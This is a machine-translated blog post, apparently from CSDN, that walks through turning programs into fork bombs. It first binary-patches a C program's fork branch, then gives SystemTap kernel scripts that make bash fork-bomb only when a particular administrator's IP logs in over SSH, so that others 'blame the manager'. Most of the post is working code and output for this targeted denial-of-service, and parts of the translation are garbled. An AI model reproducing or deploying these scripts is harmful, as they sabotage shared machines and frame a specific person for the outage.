Haz una bomba de horquilla dirigida

Perdóname por no repetir la bomba de horquilla implementada por bash.

Veamos qué tan simple es hacer un programa ordinario que llame a fork internamente en una bomba fork. Mira el código primero:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    
    
  if (fork() == 0) {
    
    
    printf("I am child\n");
    exit(0);
  }
  printf("I am parent\n");
  return 0;
}

Compilar:

[root@localhost test]# gcc -O0 fbomb.c -o fbomb

Exporte y vea las instrucciones llamadas por fork:

[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork
  4005ad:	55                   	push   %rbp
  4005ae:	48 89 e5             	mov    %rsp,%rbp
  4005b1:	48 83 ec 10          	sub    $0x10,%rsp
  4005b5:	89 7d fc             	mov    %edi,-0x4(%rbp)
  4005b8:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  4005bc:	e8 df fe ff ff       	callq  4004a0 <fork@plt>
  4005c1:	85 c0                	test   %eax,%eax
  4005c3:	75 14                	jne    4005d9 <main+0x2c>
  4005c5:	bf 80 06 40 00       	mov    $0x400680,%edi
  4005ca:	e8 a1 fe ff ff       	callq  400470 <puts@plt>
  4005cf:	bf 00 00 00 00       	mov    $0x0,%edi

Tenga en cuenta que la llamada a la que apunta 4005bc es el paradigma idiomático de la llamada de bifurcación, es decir, para determinar si es 0 o no cero, por lo que nuestra modificación es muy simple:

  • Cambie 4005c3 a JC (0x72) rel8 (desplazamiento s8): 0x72 0xf7 (es decir, -9)

De hecho, pocas bibliotecas C ahora llaman directamente a la llamada al sistema fork, y generalmente se usa clone.

Entonces la siguiente es la reforma:

# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd

Según los resultados de objdump, busque la dirección cerca de 0005bc:

000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf

Cámbielo a:

000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf

Salvar:

...
./fbomb [+]
:%!xxd -r

Confirme y vea si la modificación es exitosa:

[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork
  4005b1:	48 83 ec 10          	sub    $0x10,%rsp
  4005b5:	89 7d fc             	mov    %edi,-0x4(%rbp)
  4005b8:	48 89 75 f0          	mov    %rsi,-0x10(%rbp)
  4005bc:	e8 df fe ff ff       	callq  4004a0 <fork@plt>
  4005c1:	85 c0                	test   %eax,%eax
  4005c3:	72 f7                	jb     4005bc <main+0xf>
  4005c5:	bf 80 06 40 00       	mov    $0x400680,%edi

De acuerdo, la modificación es exitosa, el programa se ha convertido en una bomba de horquilla. No lo demostraré aquí, esto no se puede demostrar.

Sigamos.

¿Puedes hacerlo con bash? por supuesto que puede!

[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork
  4415ea:	44 89 f7             	mov    %r14d,%edi
  4415ed:	e8 5e a4 fd ff       	callq  41ba50 <sleep@plt>
  4415f2:	85 c0                	test   %eax,%eax
  4415f4:	0f 85 06 01 00 00    	jne    441700 <make_child@@Base+0x1f0>
  4415fa:	45 01 f6             	add    %r14d,%r14d
  4415fd:	e8 7e a4 fd ff       	callq  41ba80 <fork@plt>
  441602:	85 c0                	test   %eax,%eax
  441604:	89 c3                	mov    %eax,%ebx
  441606:	78 b8                	js     4415c0 <make_child@@Base+0xb0>
  441608:	0f 85 2b 01 00 00    	jne    441739 <make_child@@Base+0x229>
  44160e:	66 90                	xchg   %ax,%ax

Casi la misma rutina. Pero no podemos cambiar bash directamente, por lo que solo podemos usar systemtap para jugar con algunas estrategias en el kernel.

Bash no llama directamente a fork / clone, sino a través de la biblioteca C, así que veamos cómo lo hace la biblioteca C:

[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...

Los siguientes son los pasos para iniciar una llamada de clonación:

284431 00000000000fde40 <__clone>:
 284432    fde40:   48 c7 c0 ea ff ff ff    mov    $0xffffffffffffffea,%rax
 284433    fde47:   48 85 ff                test   %rdi,%rdi
 284434    fde4a:   74 69                   je     fdeb5 <__clone+0x75>
 284435    fde4c:   48 85 f6                test   %rsi,%rsi
 284436    fde4f:   74 64                   je     fdeb5 <__clone+0x75>
 284437    fde51:   48 83 ee 10             sub    $0x10,%rsi
 284438    fde55:   48 89 4e 08             mov    %rcx,0x8(%rsi)
 284439    fde59:   48 89 3e                mov    %rdi,(%rsi)
 284440    fde5c:   48 89 d7                mov    %rdx,%rdi
 284441    fde5f:   4c 89 c2                mov    %r8,%rdx
 284442    fde62:   4d 89 c8                mov    %r9,%r8
 284443    fde65:   4c 8b 54 24 08          mov    0x8(%rsp),%r10
 284444    fde6a:   b8 38 00 00 00          mov    $0x38,%eax
 284445    fde6f:   0f 05                   syscall

Ya sabemos que hacer:

  • Antes de que vuelva la llamada al sistema de clonación, basta con modificar la copia del proceso principal y secundario a la propia llamada del sistema de clonación, es decir, la dirección de copia retrocede 12 bytes o 28 bytes para alcanzar la posición inicial de los parámetros de preparación de la llamada de clonación.

Bien, aquí está el script de stap:

#!/usr/local/bin/stap -g

function do_it(p:long)
%{
    
    
	struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
	struct pt_regs *regs;

	if (strcmp(tsk->comm, "fbomb"))
		return;

	regs = task_pt_regs(tsk);
	regs->ip -= 12;
%}

// hook 资进程
probe kernel.function("copy_thread").return
{
    
    
	do_it(@entry($p))
}

// hook 当前父进程
probe kernel.function("sys_clone").return
{
    
    
	if ($return > 0)
		do_it(task_current())
}

Bien, el marco básico está completo. Puedes probar mi programa binario original fbomb.

Ahora, agreguemos algunas estrategias:

  • Solo el bash ssh de la máquina del administrador 192.168.56.101 funcionará cuando se ejecute el programa bash. ¡Entonces puedes culpar al gerente!

¿Recuerda el mecanismo de asociación entre las conexiones TCP y los procesos que escribí antes?
https://blog.csdn.net/dog250/article/details/108134813
Basándonos en él, podemos juzgar si el administrador está ejecutando bash.

Aquí está el código:

#!/usr/local/bin/stap -g

%{
    
    
#include <net/tcp.h>
#include <linux/fdtable.h>

static inline void ip2str(char *to, unsigned int from)
{
    
    
	int size = snprintf(to, 16, "%pI4", &from);
	to[size] = '\0';
}
%}

function do_it(p:long)
%{
    
    
	struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
	struct task_struct *parent;
	struct file *file;
	struct socket *sock;
	struct sock *sk;
	char raddr[16];
	struct pt_regs *regs;

	if (strcmp(tsk->comm, "bash"))
		return;

	parent = tsk->parent;
	if (strcmp(parent->comm, "sshd"))
		return;

	file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!
	sock = (struct socket *)file->private_data;
	sk = sock->sk;

	ip2str(raddr, inet_sk(sk)->inet_daddr);

	if (strcmp(raddr, "192.168.56.101"))
		return;

	regs = task_pt_regs(tsk);
	regs->ip -= 12;
%}

probe kernel.function("copy_thread").return
{
    
    
	do_it(@entry($p))
}

probe kernel.function("sys_clone").return
{
    
    
	if ($return > 0)
		do_it(task_current())
}

Aquí está el efecto de bash en la máquina del administrador:

[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable

Bueno, sí, es el gerente.

Algunas personas dicen que puedo hacer esto porque tengo root. Dije que la mayoría de las personas no pueden hacerlo si están arraigadas. Si no me creen, inténtelo.

Que era una broma.


Los zapatos de cuero en Wenzhou, Zhejiang están mojados, por lo que no engordan con la lluvia.

Supongo que te gusta

Origin blog.csdn.net/dog250/article/details/108500135
Recomendado
Clasificación